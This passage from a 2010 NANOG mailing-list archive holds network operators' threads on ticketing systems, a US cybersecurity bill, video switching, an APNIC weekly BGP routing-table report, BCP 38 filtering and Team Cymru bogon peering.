<9AE359BC72A96945AD88480EC357535704CF5B56@MOMEX2.momentous.ca> References: <9AE359BC72A96945AD88480EC357535704CF5B56@MOMEX2.momentous.ca> Message-ID: <20100212165105.GA36081@macbook.catpipe.net> Brandon Grant (brandon) writes: > I am currently evaluating my options for an open source trouble ticket > management system that is based on assets (the trouble ticket is opened > on a particular server, network element, etc.). Hi Brandon, Maybe RT (already mentioned) could do the trick -- it's a matter of choosing how you will set up the system, i.e.: number of queues, custom fields, etc... Since it's ticket centric, it really doesn't matter how many servers or assets you have. > Also, I am hoping to > find a tool that can tie in with SNMP software so I can have tickets > auto-generated for certain types of SNMP traps or polling failures. That's not really dependent on the ticket system. I've done this with Trac and RT: it's more a matter of whether the NMS platform allows triggers (arbitrary actions) to be tied to events, and also in which cases. It's trivial with Nagios to open tickets on down or unreachable events. You could even instrument the script to update the ticket (never close a ticket automatically!) every time a new event related to this equipment took place. > 1. OTRS.org > > 2. GLIP-project.org You mean http://www.glpi-project.org/ -- I've heard it should be quite complicated to setup, but have no first hand experience myself. Cheers, Phil From lists at quux.de Fri Feb 12 11:31:14 2010 From: lists at quux.de (Jens Link) Date: Fri, 12 Feb 2010 18:31:14 +0100 Subject: Ticket/Asset Managment system In-Reply-To: <9AE359BC72A96945AD88480EC357535704CF5B56@MOMEX2.momentous.ca> (Brandon Grant's message of "Fri, 12 Feb 2010 10:56:57 -0500") References: <9AE359BC72A96945AD88480EC357535704CF5B56@MOMEX2.momentous.ca> Message-ID: <874olm744d.fsf@laphroiag.quux.de> "Brandon Grant" writes: > Also, I am hoping to find a tool that can tie in with SNMP software so > I can have tickets auto-generated for certain types of SNMP traps or > polling failures. Do it the other way round: Use something like Nagios, Zabbix or Icinga for monitoring and if a fault is detected let the monitoring system send a message to your ticket system. Jens -- ------------------------------------------------------------------------- | Foelderichstr. 40 | 13595 Berlin, Germany | +49-151-18721264 | | http://www.quux.de | http://blog.quux.de | jabber: jenslink at guug.de | ------------------------------------------------------------------------- From ray.sanders at villagevoicemedia.com Fri Feb 12 11:36:41 2010 From: ray.sanders at villagevoicemedia.com (Ray Sanders) Date: Fri, 12 Feb 2010 10:36:41 -0700 Subject: Ticket/Asset Managment system In-Reply-To: <874olm744d.fsf@laphroiag.quux.de> References: <9AE359BC72A96945AD88480EC357535704CF5B56@MOMEX2.momentous.ca> <874olm744d.fsf@laphroiag.quux.de> Message-ID: <4B7591A9.40305@villagevoicemedia.com> A previous employer did something similar with Solarwind's ipMonitor and Kayako eSupport. Neither are open source, but at the time, the cost for each piece of software was reasonable. Jens Link wrote: > "Brandon Grant" writes: > > >> Also, I am hoping to find a tool that can tie in with SNMP software so >> I can have tickets auto-generated for certain types of SNMP traps or >> polling failures. >> > > Do it the other way round: Use something like Nagios, Zabbix or Icinga > for monitoring and if a fault is detected let the monitoring system > send a message to your ticket system. > > Jens > > ------------------------------------------------------------------------ > > > No virus found in this incoming message. > Checked by AVG - www.avg.com > Version: 9.0.733 / Virus Database: 271.1.1/2683 - Release Date: 02/12/10 00:35:00 > > -- -"Prediction is very difficult, especially about the future." -Niels Bohr -- Ray Sanders Linux Administrator Village Voice Media Office: 602-744-6547 Cell: 602-300-4344 From jnegro at billtrust.com Fri Feb 12 11:41:23 2010 From: jnegro at billtrust.com (Jeffrey Negro) Date: Fri, 12 Feb 2010 12:41:23 -0500 Subject: Ticket/Asset Managment system In-Reply-To: <874olm744d.fsf@laphroiag.quux.de> References: <9AE359BC72A96945AD88480EC357535704CF5B56@MOMEX2.momentous.ca> <874olm744d.fsf@laphroiag.quux.de> Message-ID: <3C5B084431653D4A9C469A22AFCDB5B904A37EBC@LOGAN.billtrust.local> I'd second this. RT is a really nice ticketing system with great email capabilities. Use nagios to send an email to an address you have RT configured to receive, and you can even pipe that email address directly into a specific ticket queue within RT. -----Original Message----- From: Jens Link [mailto:lists at quux.de] Sent: Friday, February 12, 2010 12:31 PM To: nanog at nanog.org Subject: Re: Ticket/Asset Managment system "Brandon Grant" writes: > Also, I am hoping to find a tool that can tie in with SNMP software so > I can have tickets auto-generated for certain types of SNMP traps or > polling failures. Do it the other way round: Use something like Nagios, Zabbix or Icinga for monitoring and if a fault is detected let the monitoring system send a message to your ticket system. Jens -- ------------------------------------------------------------------------ - | Foelderichstr. 40 | 13595 Berlin, Germany | +49-151-18721264 | | http://www.quux.de | http://blog.quux.de | jabber: jenslink at guug.de | ------------------------------------------------------------------------ - From fw at deneb.enyo.de Fri Feb 12 07:11:36 2010 From: fw at deneb.enyo.de (Florian Weimer) Date: Fri, 12 Feb 2010 14:11:36 +0100 Subject: Ready to get your federal computer license? In-Reply-To: <4A99259E.8000202@emanon.com> (Scott Morris's message of "Sat, 29 Aug 2009 08:57:02 -0400") References: <81CDFC77FB2DC54DB875D4F8FFC36CE00A923B797E@DSMAIL2HE.ds.ad.adp.com> <81CDFC77FB2DC54DB875D4F8FFC36CE00B7A593500@DSMAIL2HE.ds.ad.adp.com> <4A989C59.10801@emanon.com> <873a7bm3mm.fsf@mid.deneb.enyo.de> <4A99259E.8000202@emanon.com> Message-ID: <87d40a61kn.fsf@mid.deneb.enyo.de> * Scott Morris: > Florian Weimer wrote: >> * Scott Morris: >> >> >>> I'm trying really hard to find my "paranoia hat", and just to relieve >>> some boredom I read the entire bill to try to figure out where this was >>> all coming from.... >>> >>> "(2) may declare a cybersecurity emergency and order the limitation or >>> shutdown of Internet traffic to and from any compromised Federal >>> Government or United States critical infrastructure information system >>> or network;" >>> >> >> Wouldn't this mean you're allowed to set emergency ACLs only if a >> cybersecurity emergency has been declared by the President? > I must have missed the phrasing that says "nobody else can make an > independent decision regarding any security measure above and beyond the > minimum standards"... > > I'll go back and look for that. The thing your looking for is called "exclusio unius". 8-) From jmamodio at gmail.com Fri Feb 12 11:56:01 2010 From: jmamodio at gmail.com (Jorge Amodio) Date: Fri, 12 Feb 2010 11:56:01 -0600 Subject: Ready to get your federal computer license? In-Reply-To: <87d40a61kn.fsf@mid.deneb.enyo.de> References: <81CDFC77FB2DC54DB875D4F8FFC36CE00A923B797E@DSMAIL2HE.ds.ad.adp.com> <81CDFC77FB2DC54DB875D4F8FFC36CE00B7A593500@DSMAIL2HE.ds.ad.adp.com> <4A989C59.10801@emanon.com> <873a7bm3mm.fsf@mid.deneb.enyo.de> <4A99259E.8000202@emanon.com> <87d40a61kn.fsf@mid.deneb.enyo.de> Message-ID: <202705b1002120956v7b366adat2db37b4bf52e082a@mail.gmail.com> On Fri, Feb 12, 2010 at 7:11 AM, Florian Weimer wrote: > * Scott Morris: > >> Florian Weimer wrote: >>> * Scott Morris: >>> >>> >>>> I'm trying really hard to find my "paranoia hat", and just to relieve >>>> some boredom I read the entire bill to try to figure out where this was >>>> all coming from.... >>>> >>>> "(2) may declare a cybersecurity emergency and order the limitation or >>>> shutdown of Internet traffic to and from any compromised Federal >>>> Government or United States critical infrastructure information system >>>> or network;" >>>> >>> >>> Wouldn't this mean you're allowed to set emergency ACLs only if a >>> cybersecurity emergency has been declared by the President? > >> I must have missed the phrasing that says "nobody else can make an >> independent decision regarding any security measure above and beyond the >> minimum standards"... >> >> I'll go back and look for that. > > The thing your looking for is called "exclusio unius". 8-) Now the President will not only carry "The football" now he will also start carrying "The switch". Cheers From joly at punkcast.com Fri Feb 12 12:17:07 2010 From: joly at punkcast.com (Joly MacFie) Date: Fri, 12 Feb 2010 13:17:07 -0500 Subject: Ready to get your federal computer license? In-Reply-To: <443de7ad0908310857h5474a4dh8b4b1a8212297f8b@mail.gmail.com> References: <81CDFC77FB2DC54DB875D4F8FFC36CE00A923B797E@DSMAIL2HE.ds.ad.adp.com> <4A99259E.8000202@emanon.com> <5E9C4E81-05BA-42F4-996B-F5BE79F8FEB4@jsyoung.net> <200908301938220.6B95064B.8300@clifden.donelan.com> <20090830201111.03018727@cs.columbia.edu> <4A9B3387.7020801@nic-naa.net> <20090830222829.49286bfc@cs.columbia.edu> <443de7ad0908310857h5474a4dh8b4b1a8212297f8b@mail.gmail.com> Message-ID: <313b48d1002121017q39e20009w407862da9fd01040@mail.gmail.com> As secretary of the Internet Society's NY Chapter I'd like to back up Chris's appeal. We are in a position of familiarity and consultation with local government but definitely needful of the kind of technical expertise so abundant in Nanog. We'd very much welcome fresh blood. Steven - I believe you are in our neighborhood? joly http://isoc-ny.org On Mon, Aug 31, 2009 at 10:57 AM, Chris Grundemann wrote: > On Sun, Aug 30, 2009 at 20:28, Steven M. Bellovin wrote: >> "A journey of a thousand miles begins with a single step." >> >> I don't know that a NagOn is the best way or the only way to make >> progress. ?I do know that the most likely source of that kind of >> funding is (many of) our employers, who may not have technical >> excellence on the top of their lists. ?But I'm even more certain that >> if technical people never speak up, their message will never be heard, >> except perhaps by accident. >> >> ? ? ? ? ? ? ? ?--Steve Bellovin, http://www.cs.columbia.edu/~smb >> >> > > I believe that this is exactly the kind of thing that the US ISOC > Chapters should be (and are to varying degrees) involved in -- > providing legitimate technical information and expert analysis of > local, state and federal policies which impact the Internet, to those > making the policies. ?The global ISOC already does this for ICANN and > other international organizations, it seems fitting that the chapters > do more of this here inside the USA. > > I encourage everyone with even a fleeting interest in tech-policy to > seek out their local ISOC chapter > (http://www.isoc.org/isoc/chapters/list.php?region=worldwide&status=A) > and let them know that you care. ?I can tell you as the founding chair > of the Colorado chapter that my largest hurdle today is getting active > members to participate - I have funding, etc, just no help... ?(I > invite everyone to contact me directly with suggestions and ideas in > this vein - I have some vehicles in place to start making this happen > quickly with a bit of help) > > > ~Chris > > -- > Chris Grundemann > weblog.chrisgrundemann.com > www.burningwiththebush.com > www.coisoc.org > > -- --------------------------------------------------------------- Joly MacFie 917 442 8665 Skype:punkcast WWWhatsup NYC - http://wwwhatsup.com http://pinstand.com - http://punkcast.com --------------------------------------------------------------- From Anshuman.Kanwar at citrix.com Fri Feb 12 12:33:05 2010 From: Anshuman.Kanwar at citrix.com (Anshuman Kanwar) Date: Fri, 12 Feb 2010 10:33:05 -0800 Subject: Video: 10G switches Message-ID: <56265E0FE0A6EC44B15267AF72E552C30D73D23483@sbapexch05> I am capacity planning for 8-10K streams of video (150-300Kbps) through a Nexus 7000 or an EX 8200 pair. The same infrastructure will be carrying quite a few audio minutes as well. Does someone have experience with either of these platforms with this scale of audio/video ? Looking for some practical advice about buffers/specific line cards/things to avoid etc. not for the usual teal/blue debate. Thanks, -ansh From cscora at apnic.net Fri Feb 12 12:50:09 2010 From: cscora at apnic.net (Routing Analysis Role Account) Date: Sat, 13 Feb 2010 04:50:09 +1000 (EST) Subject: Weekly Routing Table Report Message-ID: <201002121850.o1CIo9pI022628@thyme.apnic.net> This is an automated weekly mailing describing the state of the Internet Routing Table as seen from APNIC's router in Japan. Daily listings are sent to bgp-stats at lists.apnic.net For historical data, please see http://thyme.apnic.net. If you have any comments please contact Philip Smith . Routing Table Report 04:00 +10GMT Sat 13 Feb, 2010 Report Website: http://thyme.apnic.net Detailed Analysis: http://thyme.apnic.net/current/ Analysis Summary ---------------- BGP routing table entries examined: 311463 Prefixes after maximum aggregation: 144143 Deaggregation factor: 2.16 Unique aggregates announced to Internet: 152471 Total ASes present in the Internet Routing Table: 33274 Prefixes per ASN: 9.36 Origin-only ASes present in the Internet Routing Table: 28899 Origin ASes announcing only one prefix: 14066 Transit ASes present in the Internet Routing Table: 4375 Transit-only ASes present in the Internet Routing Table: 102 Average AS path length visible in the Internet Routing Table: 3.6 Max AS path length visible: 23 Max AS path prepend of ASN ( 9503) 21 Prefixes from unregistered ASNs in the Routing Table: 848 Unregistered ASNs in the Routing Table: 138 Number of 32-bit ASNs allocated by the RIRs: 427 Prefixes from 32-bit ASNs in the Routing Table: 400 Special use prefixes present in the Routing Table: 0 Prefixes being announced from unallocated address space: 289 Number of addresses announced to Internet: 2184202944 Equivalent to 130 /8s, 48 /16s and 74 /24s Percentage of available address space announced: 58.9 Percentage of allocated address space announced: 66.1 Percentage of available address space allocated: 89.1 Percentage of address space in use by end-sites: 81.1 Total number of prefixes smaller than registry allocations: 149910 APNIC Region Analysis Summary ----------------------------- Prefixes being announced by APNIC Region ASes: 75345 Total APNIC prefixes after maximum aggregation: 25911 APNIC Deaggregation factor: 2.91 Prefixes being announced from the APNIC address blocks: 72008 Unique aggregates announced from the APNIC address blocks: 31613 APNIC Region origin ASes present in the Internet Routing Table: 3950 APNIC Prefixes per ASN: 18.23 APNIC Region origin ASes announcing only one prefix: 1076 APNIC Region transit ASes present in the Internet Routing Table: 619 Average APNIC Region AS path length visible: 3.6 Max APNIC Region AS path length visible: 23 Number of APNIC addresses announced to Internet: 491620128 Equivalent to 29 /8s, 77 /16s and 135 /24s Percentage of available APNIC address space announced: 77.1 APNIC AS Blocks 4608-4864, 7467-7722, 9216-10239, 17408-18431 (pre-ERX allocations) 23552-24575, 37888-38911, 45056-46079 55296-56319, 131072-132095 APNIC Address Blocks 1/8, 27/8, 43/8, 58/8, 59/8, 60/8, 61/8, 110/8, 111/8, 112/8, 113/8, 114/8, 115/8, 116/8, 117/8, 118/8, 119/8, 120/8, 121/8, 122/8, 123/8, 124/8, 125/8, 126/8, 133/8, 175/8, 180/8, 182/8, 183/8, 202/8, 203/8, 210/8, 211/8, 218/8, 219/8, 220/8, 221/8, 222/8, ARIN Region Analysis Summary ---------------------------- Prefixes being announced by ARIN Region ASes: 129695 Total ARIN prefixes after maximum aggregation: 67717 ARIN Deaggregation factor: 1.92 Prefixes being announced from the ARIN address blocks: 103832 Unique aggregates announced from the ARIN address blocks: 39504 ARIN Region origin ASes present in the Internet Routing Table: 13492 ARIN Prefixes per ASN: 7.70 ARIN Region origin ASes announcing only one prefix: 5209 ARIN Region transit ASes present in the Internet Routing Table: 1324 Average ARIN Region AS path length visible: 3.4 Max ARIN Region AS path length visible: 22 Number of ARIN addresses announced to Internet: 738753312 Equivalent to 44 /8s, 8 /16s and 123 /24s Percentage of available ARIN address space announced: 64.8 ARIN AS Blocks 1-1876, 1902-2042, 2044-2046, 2048-2106 (pre-ERX allocations) 2138-2584, 2615-2772, 2823-2829, 2880-3153 3354-4607, 4865-5119, 5632-6655, 6912-7466 7723-8191, 10240-12287, 13312-15359, 16384-17407 18432-20479, 21504-23551, 25600-26591, 26624-27647, 29696-30719, 31744-33791 35840-36863, 39936-40959, 46080-47103 53248-55295, 393216-394239 ARIN Address Blocks 3/8, 4/8, 6/8, 7/8, 8/8, 9/8, 11/8, 12/8, 13/8, 15/8, 16/8, 17/8, 18/8, 19/8, 20/8, 21/8, 22/8, 24/8, 26/8, 28/8, 29/8, 30/8, 32/8, 33/8, 34/8, 35/8, 38/8, 40/8, 44/8, 45/8, 47/8, 48/8, 52/8, 54/8, 55/8, 56/8, 63/8, 64/8, 65/8, 66/8, 67/8, 68/8, 69/8, 70/8, 71/8, 72/8, 73/8, 74/8, 75/8, 76/8, 96/8, 97/8, 98/8, 99/8, 108/8, 173/8, 174/8, 184/8, 199/8, 204/8, 205/8, 206/8, 207/8, 208/8, 209/8, 214/8, 215/8, 216/8, RIPE Region Analysis Summary ---------------------------- Prefixes being announced by RIPE Region ASes: 71765 Total RIPE prefixes after maximum aggregation: 41740 RIPE Deaggregation factor: 1.72 Prefixes being announced from the RIPE address blocks: 64782 Unique aggregates announced from the RIPE address blocks: 42816 RIPE Region origin ASes present in the Internet Routing Table: 14066 RIPE Prefixes per ASN: 4.61 RIPE Region origin ASes announcing only one prefix: 7278 RIPE Region transit ASes present in the Internet Routing Table: 2109 Average RIPE Region AS path length visible: 3.9 Max RIPE Region AS path length visible: 21 Number of RIPE addresses announced to Internet: 414454912 Equivalent to 24 /8s, 180 /16s and 20 /24s Percentage of available RIPE address space announced: 77.2 RIPE AS Blocks 1877-1901, 2043, 2047, 2107-2136, 2585-2614 (pre-ERX allocations) 2773-2822, 2830-2879, 3154-3353, 5377-5631 6656-6911, 8192-9215, 12288-13311, 15360-16383 20480-21503, 24576-25599, 28672-29695 30720-31743, 33792-35839, 38912-39935 40960-45055, 47104-52223, 196608-197631 RIPE Address Blocks 2/8, 25/8, 46/8, 51/8, 62/8, 77/8, 78/8, 79/8, 80/8, 81/8, 82/8, 83/8, 84/8, 85/8, 86/8, 87/8, 88/8, 89/8, 90/8, 91/8, 92/8, 93/8, 94/8, 95/8, 109/8, 178/8, 193/8, 194/8, 195/8, 212/8, 213/8, 217/8, LACNIC Region Analysis Summary ------------------------------ Prefixes being announced by LACNIC Region ASes: 27496 Total LACNIC prefixes after maximum aggregation: 6585 LACNIC Deaggregation factor: 4.18 Prefixes being announced from the LACNIC address blocks: 25839 Unique aggregates announced from the LACNIC address blocks: 13895 LACNIC Region origin ASes present in the Internet Routing Table: 1242 LACNIC Prefixes per ASN: 20.80 LACNIC Region origin ASes announcing only one prefix: 407 LACNIC Region transit ASes present in the Internet Routing Table: 213 Average LACNIC Region AS path length visible: 4.0 Max LACNIC Region AS path length visible: 17 Number of LACNIC addresses announced to Internet: 70495488 Equivalent to 4 /8s, 51 /16s and 173 /24s Percentage of available LACNIC address space announced: 70.0 LACNIC AS Blocks 26592-26623, 27648-28671, 52224-53247, 262144-263167 plus ERX transfers LACNIC Address Blocks 186/8, 187/8, 189/8, 190/8, 200/8, 201/8, AfriNIC Region Analysis Summary ------------------------------- Prefixes being announced by AfriNIC Region ASes: 6541 Total AfriNIC prefixes after maximum aggregation: 1811 AfriNIC Deaggregation factor: 3.61 Prefixes being announced from the AfriNIC address blocks: 4832 Unique aggregates announced from the AfriNIC address blocks: 1377 AfriNIC Region origin ASes present in the Internet Routing Table: 343 AfriNIC Prefixes per ASN: 14.09 AfriNIC Region origin ASes announcing only one prefix: 96 AfriNIC Region transit ASes present in the Internet Routing Table: 72 Average AfriNIC Region AS path length visible: 3.8 Max AfriNIC Region AS path length visible: 16 Number of AfriNIC addresses announced to Internet: 14845952 Equivalent to 0 /8s, 226 /16s and 136 /24s Percentage of available AfriNIC address space announced: 44.2 AfriNIC AS Blocks 36864-37887, 327680-328703 & ERX transfers AfriNIC Address Blocks 41/8, 197/8, APNIC Region per AS prefix count summary ---------------------------------------- ASN No of nets /20 equiv MaxAgg Description 4766 1858 7510 471 Korea Telecom (KIX) 4755 1453 287 155 TATA Communications formerly 17488 1266 132 135 Hathway IP Over Cable Interne 18101 1088 221 39 Reliance Infocom Ltd Internet 4134 1019 19607 398 CHINANET-BACKBONE 9583 990 74 494 Sify Limited 7545 945 199 97 TPG Internet Pty Ltd 17974 914 278 45 PT TELEKOMUNIKASI INDONESIA 4808 850 1582 211 CNCGROUP IP network: China169 24560 845 300 166 Bharti Airtel Ltd., Telemedia Complete listing at http://thyme.apnic.net/current/data-ASnet-APNIC ARIN Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 6389 4122 3875 316 bellsouth.net, inc. 4323 3791 1088 394 Time Warner Telecom 1785 1843 699 131 PaeTec Communications, Inc. 7018 1559 5758 1005 AT&T WorldNet Services 20115 1539 1488 670 Charter Communications 2386 1317 617 931 AT&T Data Communications Serv 3356 1204 10931 422 Level 3 Communications, LLC 11492 1133 222 14 Cable One 22773 1113 2600 66 Cox Communications, Inc. 6478 1104 240 244 AT&T Worldnet Services Complete listing at http://thyme.apnic.net/current/data-ASnet-ARIN RIPE Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 35805 571 40 5 United Telecom of Georgia 3292 454 1904 396 TDC Tele Danmark 30890 453 101 205 Evolva Telecom 702 423 1869 335 UUNET - Commercial IP service 8551 397 353 37 Bezeq International 8866 378 110 24 Bulgarian Telecommunication C 3320 354 7068 309 Deutsche Telekom AG 3301 352 1413 313 TeliaNet Sweden 3215 347 3206 103 France Telecom Transpac 12479 323 576 5 Uni2 Autonomous System Complete listing at http://thyme.apnic.net/current/data-ASnet-RIPE LACNIC Region per AS prefix count summary ----------------------------------------- ASN No of nets /20 equiv MaxAgg Description 8151 1591 2894 236 UniNet S.A. de C.V. 10620 988 223 147 TVCABLE BOGOTA 28573 868 688 85 NET Servicos de Comunicao S.A 7303 676 356 99 Telecom Argentina Stet-France 22047 528 310 15 VTR PUNTO NET S.A. 6503 491 167 191 AVANTEL, S.A. 11830 473 308 59 Instituto Costarricense de El 11172 445 99 70 Servicios Alestra S.A de C.V 7738 439 858 29 Telecomunicacoes da Bahia S.A 3816 436 194 70 Empresa Nacional de Telecomun Complete listing at http://thyme.apnic.net/current/data-ASnet-LACNIC AfriNIC Region per AS prefix count summary ------------------------------------------ ASN No of nets /20 equiv MaxAgg Description 8452 1004 445 9 TEDATA 24863 720 144 40 LINKdotNET AS number 36992 588 130 217 Etisalat MISR 3741 273 854 233 The Internet Solution 2018 209 215 120 Tertiary Education Network 6713 177 167 12 Itissalat Al-MAGHRIB 29571 168 19 9 Ci Telecom Autonomous system 29975 134 506 15 Vodacom 33776 124 7 11 Starcomms Nigeria Limited 24835 119 78 10 RAYA Telecom - Egypt Complete listing at http://thyme.apnic.net/current/data-ASnet-AFRINIC Global Per AS prefix count summary ---------------------------------- ASN No of nets /20 equiv MaxAgg Description 6389 4122 3875 316 bellsouth.net, inc. 4323 3791 1088 394 Time Warner Telecom 4766 1858 7510 471 Korea Telecom (KIX) 1785 1843 699 131 PaeTec Communications, Inc. 8151 1591 2894 236 UniNet S.A. de C.V. 7018 1559 5758 1005 AT&T WorldNet Services 20115 1539 1488 670 Charter Communications 4755 1453 287 155 TATA Communications formerly 2386 1317 617 931 AT&T Data Communications Serv 17488 1266 132 135 Hathway IP Over Cable Interne Complete listing at http://thyme.apnic.net/current/data-ASnet Global Per AS Maximum Aggr summary ---------------------------------- ASN No of nets Net Savings Description 4323 3791 3397 Time Warner Telecom 1785 1843 1712 PaeTec Communications, Inc. 4766 1858 1387 Korea Telecom (KIX) 8151 1591 1355 UniNet S.A. de C.V. 4755 1453 1298 TATA Communications formerly 17488 1266 1131 Hathway IP Over Cable Interne 11492 1133 1119 Cable One 18101 1088 1049 Reliance Infocom Ltd Internet 18566 1059 1049 Covad Communications 22773 1113 1047 Cox Communications, Inc. Complete listing at http://thyme.apnic.net/current/data-CIDRnet List of Unregistered Origin ASNs (Global) ----------------------------------------- Bad AS Designation Network Transit AS Description 16927 UNALLOCATED 12.0.252.0/23 7018 AT&T WorldNet Servic 15132 UNALLOCATED 12.9.150.0/24 7018 AT&T WorldNet Servic 32567 UNALLOCATED 12.14.170.0/24 7018 AT&T WorldNet Servic 13746 UNALLOCATED 12.24.56.0/24 7018 AT&T WorldNet Servic 32567 UNALLOCATED 12.25.107.0/24 7018 AT&T WorldNet Servic 26973 UNALLOCATED 12.39.152.0/24 7018 AT&T WorldNet Servic 26973 UNALLOCATED 12.39.154.0/23 7018 AT&T WorldNet Servic 26973 UNALLOCATED 12.39.155.0/24 7018 AT&T WorldNet Servic 26973 UNALLOCATED 12.39.159.0/24 7018 AT&T WorldNet Servic 25639 UNALLOCATED 12.41.169.0/24 7018 AT&T WorldNet Servic Complete listing at http://thyme.apnic.net/current/data-badAS Advertised Unallocated Addresses -------------------------------- Network Origin AS Description 2.0.0.0/16 12654 RIPE NCC RIS Project 2.1.0.0/21 12654 RIPE NCC RIS Project 2.1.24.0/24 12654 RIPE NCC RIS Project 41.77.236.0/22 23456 32-bit ASN transition 41.190.64.0/22 28683 Office des Postes et telecomm 41.190.66.0/24 37039 Alink Telecom Benin 41.202.96.0/19 29571 Ci Telecom Autonomous system 41.202.160.0/19 33788 KANAR TELECOMMUNICATION ( KAN 41.205.0.0/19 16637 MTN Network Solutions 41.205.2.0/24 16637 MTN Network Solutions Complete listing at http://thyme.apnic.net/current/data-add-IANA Number of prefixes announced per prefix length (Global) ------------------------------------------------------- /1:0 /2:0 /3:0 /4:0 /5:0 /6:0 /7:0 /8:20 /9:10 /10:25 /11:65 /12:185 /13:385 /14:658 /15:1235 /16:10926 /17:5135 /18:8717 /19:17941 /20:21862 /21:21982 /22:28229 /23:28359 /24:162607 /25:974 /26:1220 /27:678 /28:226 /29:9 /30:7 /31:0 /32:8 Advertised prefixes smaller than registry allocations ----------------------------------------------------- ASN No of nets Total ann. Description 6389 2679 4122 bellsouth.net, inc. 4323 2355 3791 Time Warner Telecom 4766 1477 1858 Korea Telecom (KIX) 1785 1305 1843 PaeTec Communications, Inc. 11492 1049 1133 Cable One 17488 1044 1266 Hathway IP Over Cable Interne 18566 1040 1059 Covad Communications 18101 961 1088 Reliance Infocom Ltd Internet 7018 935 1559 AT&T WorldNet Services 8452 903 1004 TEDATA Complete listing at http://thyme.apnic.net/current/data-sXXas-nos Number of /24s announced per /8 block (Global) ---------------------------------------------- 2:1 4:12 8:234 12:1994 13:10 15:22 16:3 17:8 20:39 24:1314 27:1 32:48 38:648 40:99 41:1928 44:3 46:1 47:26 52:6 55:2 56:2 57:23 58:640 59:633 60:399 61:1098 62:1044 63:2010 64:3797 65:2357 66:4114 67:1795 68:1040 69:2832 70:686 71:235 72:1865 73:2 74:2107 75:240 76:337 77:887 78:599 79:390 80:980 81:777 82:456 83:433 84:638 85:1008 86:384 87:689 88:417 89:1544 90:71 91:2724 92:423 93:1158 94:1382 95:555 96:217 97:295 98:494 99:23 100:1 109:333 110:294 111:443 112:234 113:223 114:370 115:531 116:1025 117:620 118:383 119:818 120:145 121:829 122:1410 123:874 124:1067 125:1286 128:196 129:203 130:140 131:486 132:88 133:16 134:194 135:42 136:220 137:175 138:238 139:91 140:466 141:132 142:377 143:347 144:395 145:51 146:410 147:192 148:571 149:203 150:146 151:169 152:250 153:166 154:2 155:275 156:179 157:332 158:99 159:355 160:305 161:177 162:268 163:166 164:310 165:462 166:502 167:388 168:760 169:157 170:570 171:48 172:3 173:483 174:537 175:52 180:315 183:225 184:5 186:303 187:206 188:1297 189:667 190:3515 192:5734 193:4441 194:3355 195:2782 196:1176 198:3537 199:3386 200:5296 201:1453 202:8042 203:8301 204:4029 205:2196 206:2497 207:2984 208:3917 209:3425 210:2540 211:1190 212:1670 213:1663 214:251 215:62 216:4471 217:1532 218:482 219:427 220:1071 221:379 222:306 End of report From joelja at bogus.com Fri Feb 12 14:17:21 2010 From: joelja at bogus.com (Joel Jaeggli) Date: Fri, 12 Feb 2010 12:17:21 -0800 Subject: Google to offer fiber to end users In-Reply-To: <6eb799ab1002101708l8fa1bebx392dfb362b1c7564@mail.gmail.com> References: <6eb799ab1002101708l8fa1bebx392dfb362b1c7564@mail.gmail.com> Message-ID: <4B75B751.80400@bogus.com> James Hess wrote: > For now.. with 1gigabit residential connections, BCP 38 OUGHT to be > Google's answer. If Google handles that properly, they _should_ > make it mandatory that all traffic from residential customers be > filtered, in all cases, in order to only forward packets with > their legitimately assigned or registry-issued publicly verifiable > IP prefix(es) in the IP source field. Must be mandatory even for > 'resellers', otherwise there's no point. The amount of DOS that is spoofed today is by all reports significantly lower as percentage of overall DOS than it was in say 2000. BCP 38 is all fine and dandy, and you should implement it, but it's not going to stop the botnets. > And Google should provide _reasonable_ response to investigate manual > abuse reports to well-publicized points of contact which go directly > to a well-staffed dedicated abuse team, with authority and a clear and > expeditious resolution process, as a bare minimum, and in addition > to any and all automatic measures. > > > P.S. reasonable abuse response is not defined as a 4-day delayed > answer to a 'help, no contact addresses will answer me' post on nanog > (long after automated processes finally kicked in).. Reasonable > response to a continuous 1gigabit flood or 100 kilopacket flood > should be less than 12 hours. > > If they think things through carefully (rather than copy+paste > Google groups e-mail abuse management), it'll probably be alright > > -- > -J > From tmagill at providecommerce.com Fri Feb 12 14:51:04 2010 From: tmagill at providecommerce.com (Thomas Magill) Date: Fri, 12 Feb 2010 12:51:04 -0800 Subject: CYMRU Bogon Peering Message-ID: In efforts to further protect us against threats I am considering establishing Bogon peers to enable me to filter unallocated address space. I am just wondering if this is a worthwhile step to take and if anyone has ran into any issues or points of concern that I may want to take into account. Thanks in advance for any input. Thomas Magill Network Engineer Office: (858) 909-3777 Cell: (858) 869-9685 mailto:tmagill at providecommerce.com provide-commerce 4840 Eastgate Mall San Diego, CA 92121 ProFlowers | redENVELOPE | Cherry Moon Farms | Shari's Berries From bblackford at gmail.com Fri Feb 12 14:55:54 2010 From: bblackford at gmail.com (Bill Blackford) Date: Fri, 12 Feb 2010 12:55:54 -0800 Subject: CYMRU Bogon Peering In-Reply-To: References: Message-ID: <680a83091002121255l3044db2aq69c6fb778a81c416@mail.gmail.com> I've been doing this for some time on two routers injecting the null routes into my AS. No issues. Beats the heck out of trying to use ACLs. However, the prefix count is rapidly diminishing as more blocks are being released by the various RIRs hence being pulled from the bogon list. -b On Fri, Feb 12, 2010 at 12:51 PM, Thomas Magill wrote: > In efforts to further protect us against threats I am considering > establishing Bogon peers to enable me to filter unallocated address > space. I am just wondering if this is a worthwhile step to take and if > anyone has ran into any issues or points of concern that I may want to > take into account. Thanks in advance for any input. > > > > Thomas Magill > Network Engineer > > Office: (858) 909-3777 > > Cell: (858) 869-9685 > mailto:tmagill at providecommerce.com > > > provide-commerce > 4840 Eastgate Mall > > San Diego, CA 92121 > > > > ProFlowers | redENVELOPE > | Cherry Moon Farms > | Shari's Berries > > > > > -- Bill Blackford Network Engineer Logged into reality and abusing my sudo privileges..... From steve at ibctech.ca Fri Feb 12 15:10:30 2010 From: steve at ibctech.ca (Steve Bertrand) Date: Fri, 12 Feb 2010 16:10:30 -0500 Subject: CYMRU Bogon Peering In-Reply-To: References: Message-ID: <4B75C3C6.508@ibctech.ca> Thomas Magill wrote: > In efforts to further protect us against threats I am considering > establishing Bogon peers to enable me to filter unallocated address > space. I am just wondering if this is a worthwhile step to take and if > anyone has ran into any issues or points of concern that I may want to > take into account. Thanks in advance for any input. I've used the service for a couple of years, and I find it works wonderfully. Newly distributed IANA blocks are removed promptly, so no need to worry about that. I peer with Cymru on my RTBH trigger boxes, which then redistribute the list to all edge gear which blackholes it 